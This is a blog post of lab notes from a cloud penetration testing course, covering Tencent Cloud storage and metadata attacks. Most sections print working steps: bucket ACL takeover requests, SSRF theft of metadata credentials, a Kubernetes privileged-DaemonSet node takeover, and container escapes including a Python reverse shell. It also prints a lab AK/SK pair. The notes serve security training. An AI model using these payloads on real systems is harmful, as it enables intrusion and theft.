type
Post
status
Published
date
Jun 12, 2023
slug
2023/csa-ccptp
summary
认证云渗透测试专家,收获挺多的,对云安全有了一个更加宏观的认识,比如云责任共担模型,以前就疏忽了这点
tags
考证
云安全
category
学习总结
icon
password
CSA(Cloud Seucrity Alliance)推出了首个云渗透领域认证 CCPTP (Certified Cloud Penetration Test Professional),我有幸作为课程体验官参加了课程。
课程分为10个模块,1-4和10为理论课,其余为实操课
- 云计算概念和体系架构
- 云计算整体安全
- 渗透测试安全意识培训
- 云计算攻击路径
- 云上资产发现与信息收集
- 云租户业务层渗透测试
- 云管理层渗透测试
- 云服务层渗透测试
- 虚拟化与容器渗透测试
- 云基础设施层渗透测试
课程干货还是很多的,不过作为实战党更加看重的是实操课,所以主要记录了一下课程中练习
模块五 云上资产发现与信息收集
GoogleHack
NMAP使用
nmap -v -sS -A -T4 <IP> nmap -sn <IP> # 或 nmap -sn IP/24 nmap --script=vuln <IP> # 其他 如 -iL 1.txt 参数可扫描文件里的IP
- Public Buckets by GrayhatWarfare 用于搜索公共云存储桶 (感觉不会用上
- 腾讯云 API Explorer - 云 API - 控制台 (tencent.com) 可以看到一些接口, 并知道API接口 curl 的请求方式

- 腾讯 COS 签名工具 COS 请求签名生成工具 (tencent.com)

curl 'https://对象存储名称.cos.ap-guangzhou.myqcloud.com/' -H 'Authorization:COS签名'

查看token所有权限
curl 'https://对象存储名称.cos.ap-guangzhou.myqcloud.com/?acl' -H 'Authorization:COS签名'

- aksk可从 调试/测试页面、前端JS脚本调用文件、硬编码在代码里、第三方存储里获得, 如 GoogleHack
intext:OSSAccessId
阿里云 只支持windows平台
多云利用,使用可见
综合云存储管理客户端
多云靶场搭建,要打哪个云的拉哪个云的镜像就好了 我这里是拉阿里和腾讯的

存储桶对象遍历实操
cd /Terrafor mGoat/tencentcloud/cos/bucket_object_traversal/ vim terraform.tfvars # 腾讯云AK/SK terraform init terraform apply



COS Object 公开访问场景实操
cd /TerraformGoat/tencentcloud/cos/object_public_access vim terraform.tfvars terraform init terraform apply
访问不能遍历

通过dirsearch扫描可以扫出
直接访问下载即可

COS Bucket ACL 可读场景实操
利用前提: 获取到了满足ACL用户的aksk或者签名
cd /TerraformGoat/tencentcloud/cos/bucket_acl_readable
先通过
/?acl
查看权限, 发现所有用户有读ACL权限, 特定用户有 FULL_CONTROL权限 (注意记录下原本的 acl 方便改回去~)
假设现在我们获取到了该用户的aksk, 则生成签名

如果获取到签名直接用即可
可以通过 API 去改acl配置: https://console.cloud.tencent.com/api/explorer?Product=cos&Version=2018-11-26&Action=PutBucketAcl
或者直接通过Burp抓包, 发送 以下数据包更改
注意uin后面的数字替换为自己的噢
PUT /?acl HTTP/1.1 Host: houxian-39tsi-1256327773.cos.ap-beijing.myqcloud.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Accept: */* Authorization: cos签名 Content-Length: 467 <AccessControlPolicy> <Owner> <ID>qcs::cam::uin/100004569364:uin/100004569364</ID> <DisplayName>qcs::cam::uin/100004569364:uin/100004569364</DisplayName> </Owner> <AccessControlList> <Grant> <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group"> <URI>http://cam.qcloud.com/groups/global/AllUsers</URI> </Grantee> <Permission>FULL_CONTROL</Permission> </Grant> </AccessControlList> </AccessControlPolicy>

接下来访问即可遍历对象存储

或者通过在 Header 头部修改, 然后任何用户都可以修改 acl 了~ 现在通过上面的数据包去掉 Authorization 部分也可以修改啦~

PUT /?acl HTTP/1.1 Host: houxian-39tsi-1256327773.cos.ap-beijing.myqcloud.com x-cos-acl: public-read-write User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Accept: */* Content-Length: 0 Authorization: cos签名

COS Bucket ACL 可写场景实操
/TerraformGoat/tencentcloud/cos/bucket_acl_writable
先通过
/?acl
查看权限
所有人可写 直接打即可
PUT /?acl HTTP/1.1 Host: houxian-39tsi-1256327773.cos.ap-beijing.myqcloud.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Accept: */* Authorization: cos签名 Content-Length: 467 <AccessControlPolicy> <Owner> <ID>qcs::cam::uin/100004569364:uin/100004569364</ID> <DisplayName>qcs::cam::uin/100004569364:uin/100004569364</DisplayName> </Owner> <AccessControlList> <Grant> <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group"> <URI>http://cam.qcloud.com/groups/global/AllUsers</URI> </Grantee> <Permission>FULL_CONTROL</Permission> </Grant> </AccessControlList> </AccessControlPolicy>

访问即可

- https://console.cloud.tencent.com/api/explorer?Product=cos&Version=2018-11-26&Action=PutBucketAcl 修改对象存储公有读写权限
- https://console.cloud.tencent.com/api/explorer?Product=cos&Version=2018-11-26&Action=GetBucketAcl 查看acl
- 攻防矩阵 | 云安全知识库 (huoxian.cn) 包含阿里、腾讯、华为等的攻防手段
模块六 云租户业务层渗透测试
云租户web应用攻击面概览
端口 | 服务 | 渗透测试 |
tcp 20,21 | FTP(文件传输协议) | 允许匿名的上传下载,爆破,嗅探,win提权,远程执行
(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4) |
tcp 22 | SSH (安全外壳协议 ) | 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧
道及内网代理转发,文件传输等等 |
tcp 23 | Telnet ( 远程终端协议) | 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令 |
tcp 25
| SMTP(简单邮件传输协议) | 邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-
enum工具来自动跑 |
tcp/udp 53 | DNS(域名系统) | 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns
隧道的远控 |
tcp/udp 69 | TFTP (简单文件传送协议 ) | 尝试下载目标及其的各类重要配置文件 |
tcp 80-89,443,8440-
8450,8080-8089 | 各种常用的Web服务端口 | 可尝试经典的topn,vpn,owa,webmail,目标oa,各
类Java控制台,各类服务器Web管理面板,各类
Web中间件漏洞利用,各类Web框架漏洞利用等
等...... |
tcp 110 | POP3(邮局协议版本3 ) | 可尝试爆破,嗅探 |
tcp 111,2049 | NFS(网络文件系统) | 权限配置不当 |
tcp 137,139,445 | SMB(NETBIOS协议) | 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等...... |
tcp 143 | IMAP(邮件访问协议) | 可尝试爆破 |
udp 161 | SNMP(简单网络管理协议) | 爆破默认团队字符串,搜集目标内网信息 |
tcp 389 | LDAP( 轻量目录访问协议 ) | ldap注入,允许匿名访问,弱口令 |
tcp 512,513,514 | Linux rexec (远程登录) | 可爆破,rlogin登陆 |
tcp 873 | Rsync (数据镜像备份工具) | 匿名访问,文件上传 |
tcp 1194 | OpenVPN(虚拟专用通道) | 想办法钓VPN账号,进内网 |
tcp 1352 | Lotus(Lotus软件) | 弱口令,信息泄漏,爆破 |
tcp 1433 | SQL Server(数据库管理系统) | 注入,提权,sa弱口令,爆破 |
tcp 1521 | Oracle(甲骨文数据库) | tns爆破,注入,弹shell... |
tcp 1500 | ISPmanager( 主机控制面板) | 弱口令 |
tcp 1723 | PPTP(点对点隧道协议 ) | 爆破,想办法钓VPN账号,进内网 |
tcp 2082,2083 | cPanel (虚拟机控制系统 ) | 弱口令 |
tcp 2181 | ZooKeeper(分布式系统的可靠协调系统 ) | 未授权访问 |
tcp 2601,2604 | Zebra (zebra路由) | 默认密码zerbra |
tcp 3128 | Squid (代理缓存服务器) | 弱口令 |
tcp 3312,3311 | kangle(web服务器) | 弱口令 |
tcp 3306 | MySQL(数据库) | 注入,提权,爆破 |
tcp 3389 | Windows rdp(桌面协议) | shift后门[需要03以下的系统],爆破,ms12-020 |
tcp 3690 | SVN(开放源代码的版本控 制系统) | svn泄露,未授权访问 |
tcp 4848 | GlassFish(应用服务器) | 弱口令 |
tcp 5000 | Sybase/DB2(数据库) | 爆破,注入 |
tcp 5432 | PostgreSQL(数据库) | 爆破,注入,弱口令 |
tcp 5900,5901,5902 | VNC(虚拟网络控制台,远 控) | 弱口令爆破 |
tcp 5984 | CouchDB(数据库) | 未授权导致的任意指令执行 |
tcp 6379 | Redis(数据库) | 可尝试未授权访问,弱口令爆破 |
tcp 7001,7002 | WebLogic(WEB应用系统) | 反序列化,弱口令 |
tcp 7778 | Kloxo(虚拟主机管理系统) | 主机面板登录 |
tcp 8000 | Ajenti(Linux服务器管理面 板) | 弱口令 |
tcp 8443 | Plesk(虚拟主机管理面板) | 弱口令 |
tcp 8069 | Zabbix (系统网络监视) | 远程执行,SQL注入 |
tcp 8080-8089 | Jenkins,JBoss (应用服务 器) | 反序列化,控制台弱口令 |
tcp 9080-9081,9090 | WebSphere(应用服务器) | Java反序列化/弱口令 |
tcp 9200,9300 | ElasticSearch (Lucene的 搜索服务器) | 远程执行 |
tcp 11211 | Memcached(缓存系统) | 未授权访问 |
tcp 27017,27018 | MongoDB(数据库) | 爆破,未授权访问 |
tcp 50070,50030 | Hadoop(分布式文件系统) | 默认端口未授权访问 |
- SQL注入漏洞 - 报错注入和布尔盲注, 可 sqlmap 一把梭
文件上传漏洞 - DedeCMS文件上传(织梦v5.7)
/uploads/dede/login.php
admin/admin 或者 admin/admin123 登录后台
- 模板 > 默认模板管理 > (拉到最下面 点击)新建模板
- 文件内容
<?php phpinfo(); ?>
保存
- 生成 > 更新 HTML 主页 > 浏览选择新建的模板,然后在 主页位置 输入框中将文件后缀改为
.php
,首页模式 选择 生成静态 ,点击更新 主页 HTML,最后点击浏览即可

- RCE命令执行漏洞 - 反弹Shell
CVM SSRF漏洞
cd /TerraformGoat/tencentcloud/cvm/cvm_ssrf/ vim terraform.tfvars terraform init terraform apply

读取元数据
http://metadata.tencentyun.com/latest/meta-data/

读取用户元数据
http://metadata.tencentyun.com/latest/user-data/

获取flag
file:///flag69152201.txt

如果实例绑定了CAM角色,则可以获取到他们的临时访问凭据,通过 云API 进一步利用
http://metadata.tencentyun.com/latest/meta-data/cam

获取公网IP
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
业务逻辑漏洞 semcms 密码找回漏洞, 支付逻辑漏洞利用 → semcms密码找回可见 逻辑漏洞之密码找回漏洞(semcms) - 腾讯云开发者社区-腾讯云 (tencent.com)
模块七 云管理层渗透测试
- Spring Boot heapdump 文件
select * from org.springframework.web.context.support.StandardServletEnvironment select * from java.lang.String s WHERE toString(s) LIKE ".SESSION." select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
存储桶敏感信息
题目,从某处得知泄漏了ak/sk
AKID75q0hmfJkxvfART9bonX3KNCm7D57uTn
94mIbgWEj27ze7NQFtKbfW9XotIPp22q
和桶地址
获取所有对象存储
# -*- coding=utf-8 # python3 -m pip install -U cos-python-sdk-v5 from qcloud_cos import CosConfig from qcloud_cos import CosS3Client import sys import logging import json import requests # 正常情况日志级别使用INFO,需要定位时可以修改为DEBUG,此时SDK会打印和服务端的通信信息 logging.basicConfig(level=logging.INFO, stream=sys.stdout) # 1. 设置用户属性, 包括 secret_id, secret_key, region等。Appid 已在CosConfig中移除,请在参数 Bucket 中带上 Appid。Bucket 由 BucketName-Appid 组成 secret_id = '' # 替换为用户的 SecretId,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi secret_key = '' # 替换为用户的 SecretKey,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi region = 'ap-shanghai' # 替换为用户的 region,已创建桶归属的region可以在控制台查看,https://console.cloud.tencent.com/cos5/bucket # COS支持的所有region列表参见https://cloud.tencent.com/document/product/436/6224 token = None # 如果使用永久密钥不需要填入token,如果使用临时密钥需要填入,临时密钥生成和使用指引参见https://cloud.tencent.com/document/product/436/14048 scheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填 config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme) client = CosS3Client(config) response = client.list_objects(Bucket='ccptp-module-7-1314064504') if 'Contents' in response: for content in response['Contents']: print(content['Key'])
获取具体对象内容
# -*- coding=utf-8 from qcloud_cos import CosConfig from qcloud_cos import CosS3Client import sys import logging # 正常情况日志级别使用 INFO,需要定位时可以修改为 DEBUG,此时 SDK 会打印和服务端的通信信息 logging.basicConfig(level=logging.INFO, stream=sys.stdout) # 1. 设置用户属性, 包括 secret_id, secret_key, region等。Appid 已在 CosConfig 中移除,请在参数 Bucket 中带上 Appid。Bucket 由 BucketName-Appid 组成 secret_id = '' # 替换为用户的 SecretId,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi secret_key = '' # 替换为用户的 SecretKey,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi region = 'ap-shanghai' # 替换为用户的 region,已创建桶归属的region可以在控制台查看,https://console.cloud.tencent.com/cos5/bucket # COS 支持的所有 region 列表参见 https://cloud.tencent.com/document/product/436/6224 token = None # 如果使用永久密钥不需要填入 token,如果使用临时密钥需要填入,临时密钥生成和使用指引参见 https://cloud.tencent.com/document/product/436/14048 scheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填 config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme) client = CosS3Client(config) response = client.get_object( Bucket='ccptp-module-7-1314064504', Key='flag7.txt' ) response['Body'].get_stream_to_file('flag7.txt')
模块八 云服务层渗透测试
根据角色名称,初步判断角色可访问的云服务 AWS IAM 权限枚举工具 enumerate-iam
enumerate-iam
andresriancho • Updated Sep 19, 2023
IaaS服务渗透测试技术
元数据凭证泄漏和利用
# 寻找 web 应用中 ssrf 漏洞,利用 SSRF 漏洞访问云服务器元数据服务获 取角色名称 http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ # 利用获取到的角色名称,获取角色临时凭据 http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/xxxx

这时我们创建一个私有读写存储桶,直接访问读取不了


使用 COS SDK(这里安装使用的是 python 版本),配置获取到的 tmpSecretid(替换下方脚步的 secret_id)、tmpSecretkey(替换下方脚步的 secret_key) 以及 Token(替换下方脚步的 token),并填写相应的地区region和对象存储前缀Bucket 获取目标存储桶中的对象
# -*- coding=utf-8 # python3 -m pip install -U cos-python-sdk-v5 from qcloud_cos import CosConfig from qcloud_cos import CosS3Client import sys import logging import json import requests # 正常情况日志级别使用INFO,需要定位时可以修改为DEBUG,此时SDK会打印和服务端的通信信息 logging.basicConfig(level=logging.INFO, stream=sys.stdout) # 1. 设置用户属性, 包括 secret_id, secret_key, region等。Appid 已在CosConfig中移除,请在参数 Bucket 中带上 Appid。Bucket 由 BucketName-Appid 组成 secret_id = '' # 替换为用户的 SecretId,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi secret_key = '' # 替换为用户的 SecretKey,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi region = 'ap-guangzhou' # 替换为用户的 region,已创建桶归属的region可以在控制台查看,https://console.cloud.tencent.com/cos5/bucket # COS支持的所有region列表参见https://cloud.tencent.com/document/product/436/6224 token = '' # 如果使用永久密钥不需要填入token,如果使用临时密钥需要填入,临时密钥生成和使用指引参见https://cloud.tencent.com/document/product/436/14048 scheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填 config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme) client = CosS3Client(config) response = client.list_objects(Bucket='meta-vuln-1256327773') if 'Contents' in response: for content in response['Contents']: print(content['Key'])

# -*- coding=utf-8 # python3 -m pip install -U cos-python-sdk-v5 from qcloud_cos import CosConfig from qcloud_cos import CosS3Client import sys import logging import json import requests # 正常情况日志级别使用INFO,需要定位时可以修改为DEBUG,此时SDK会打印和服务端的通信信息 logging.basicConfig(level=logging.INFO, stream=sys.stdout) # 1. 设置用户属性, 包括 secret_id, secret_key, region等。Appid 已在CosConfig中移除,请在参数 Bucket 中带上 Appid。Bucket 由 BucketName-Appid 组成 secret_id = '' # 替换为用户的 SecretId,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi secret_key = '' # 替换为用户的 SecretKey,请登录访问管理控制台进行查看和管理,https://console.cloud.tencent.com/cam/capi region = 'ap-guangzhou' # 替换为用户的 region,已创建桶归属的region可以在控制台查看,https://console.cloud.tencent.com/cos5/bucket # COS支持的所有region列表参见https://cloud.tencent.com/document/product/436/6224 token = '' # 如果使用永久密钥不需要填入token,如果使用临时密钥需要填入,临时密钥生成和使用指引参见https://cloud.tencent.com/document/product/436/14048 scheme = 'https' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填 config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme) client = CosS3Client(config) response = client.get_object( Bucket='meta-vuln-1256327773', Key='下载.jpg' ) response['Body'].get_stream_to_file('flag.jpg')

元数据服务还能做什么?
一、获取实例信息
curl http://metadata.tencentyun.com/latest/dynamic/instance-identity/document
二、更多数据
PaaS层
利用泄漏的凭据接管整个K8S集群
利用SA凭据进行集群提权
docker cp xx:/var/run/secrets/kubernetes.io/serviceaccount/..data/token token # 在 ~/.kube/config 目录查看 server kubectl --insecure-skip-tls-verify -s https://xxxx:60002/ --token="" -n kube-system auth can-i --list curl https://xxx:443/api/v1/namespaces/kube-system/secret/ --header "Authorization: Bearer xxxx" -k
创建特权容器
kubectl --insecure-skip-tls-verify -s https://xxx:60002/ --token="" create -f takeover.yaml


takeover.yaml
apiVersion: apps/v1 kind: DaemonSet metadata: name: noderootdaemon labels: spec: selector: matchLabels: name: noderootdaemon template: metadata: labels: name: noderootdaemon spec: tolerations: - key: node-role.kubernetes.io/master effect: NoSchedule hostNetwork: true hostPID: true hostIPC: true containers: - name: noderootpod image: busybox securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: /
利用daemonset进行横向,因为会在每个节点都创建一个POD


云服务滥用技术
在公有云CloudShell滥用技术
pip3 install python3-nmap import nmap3 nmap = nmap3.Nmap() results = nmap.scan_top_ports("xxxx")
模块九 虚拟化与容器渗透测试
容器逃逸 /proc 目录挂载
准备两个程序:
crash
和 exp.py
1、crash
把编译好的文件crash.c
cat > crash.c <<EOF #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; } EOF
编译
gcc crash.c -o crash
2、exp.py
cat > /tmp/exp.py << EOF #!/usr/bin/python3 import socket,subprocess,os,pty s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.211.55.8",2233)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh") EOF
cat > /tmp/exp.py << EOF ls / EOF
3、获取宿主机路径
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
或者
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir # 获取 work 前面的
4、把获取的目录拼接,然后运行 crash 即可
echo -e "|/var/lib/xxxxx/merged/tmp/exp.sh \rcore " > /host_proc/sys/kernel/core_pattern # echo -e "|/var/lib/docker/overlay2/4a651d8e2abcbe9449d8405548df4d3541e12a9bf01dbe3a1e9684f11d8e16e3/merged/tmp/exp.py \rcore " > /host_proc/sys/kernel/core_pattern # 触发崩溃进而触发命令执行 ./crash

- notify_on_release 机制
利用条件:实用 cgroup v1
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ip addr > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"